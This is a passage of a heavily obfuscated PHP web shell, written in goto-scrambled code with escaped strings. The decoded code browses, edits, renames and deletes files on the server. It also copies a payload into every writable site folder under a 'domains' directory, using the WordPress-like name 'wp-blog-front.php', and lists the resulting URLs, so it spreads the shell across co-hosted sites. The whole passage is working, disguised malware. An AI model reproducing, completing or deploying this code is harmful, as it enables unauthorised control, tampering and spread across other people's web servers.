40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\